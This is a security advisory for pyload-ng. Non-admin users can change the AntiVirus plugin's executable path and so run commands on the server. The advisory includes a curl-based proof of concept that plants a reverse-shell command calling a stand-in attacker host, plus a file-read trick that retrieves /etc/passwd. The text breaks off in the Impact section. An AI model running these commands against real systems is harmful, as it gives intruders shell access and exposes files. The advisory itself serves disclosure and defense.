GitHub Security Advisory: GHSA-w48f-wwwf-f5fr
Package: pyload-ng (PIP)
Severity: HIGH (CVSS 8.8)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: <= 0.5.0b3.dev96
Patched in: unpatched

Summary: pyLoad: Improper Neutralization of Special Elements used in an OS Command

Details:
### Summary

The `ADMIN_ONLY_OPTIONS` protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is **only applied to core config options**, not to plugin config options. The `AntiVirus` plugin stores an executable path (`avfile`) in its config, which is passed directly to `subprocess.Popen()`. A non-admin user with SETTINGS permission can change this path to achieve remote code execution.

### Details

**Safe wrapper — `ADMIN_ONLY_OPTIONS` (core/api/__init__.py:225-235):**

```python
ADMIN_ONLY_OPTIONS = {
    "reconnect.script",      # Blocks script path change
    "webui.host",            # Blocks bind address change
    "ssl.cert_file",         # Blocks cert path change
    "ssl.key_file",          # Blocks key path change
    # ... other sensitive options
}
```

**Where it IS enforced — core config (core/api/__init__.py:255):**

```python
def set_config_value(self, section, option, value):
    if f"{section}.{option}" in ADMIN_ONLY_OPTIONS:
        if not self.user.is_admin:
            raise PermissionError("Admin only")
    # ...
```

**Where it is NOT enforced — plugin config (core/api/__init__.py:271-272):**

```python
    # Plugin config - NO admin check at all
    self.pyload.config.set_plugin(category, option, value)
```

**Dangerous sink — AntiVirus plugin (plugins/addons/AntiVirus.py:75):**

```python
def scan_file(self, file):
    avfile = self.config.get("avfile")    # User-controlled via plugin config
    avargs = self.config.get("avargs")
    subprocess.Popen([avfile, avargs, target])  # RCE
```

### PoC

```bash
# As non-admin user with SETTINGS permission:

# 1. Set AntiVirus executable to a reverse shell
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.avfile' \
  -d 'value=/bin/bash'

curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.avargs' \
  -d 'value=-c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'

# 2. Enable the AntiVirus plugin
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.activated' \
  -d 'value=True'

# 3. Add a download - when it completes, AntiVirus.scan_file() runs the payload
curl -b session_cookie -X POST http://TARGET:8000/api/add_package \
  -d 'name=test' \
  -d 'links=http://example.com/test.zip'

# Result: reverse shell as the pyload process user
```

### Additional Finding: Arbitrary File Read via storage_folder

The `storage_folder` validation at `core/api/__init__.py:238-246` uses inverted logic — it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting `storage_folder=/` combined with `GET /files/get/etc/passwd` gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions.

### Impact

- **Remote Code Exe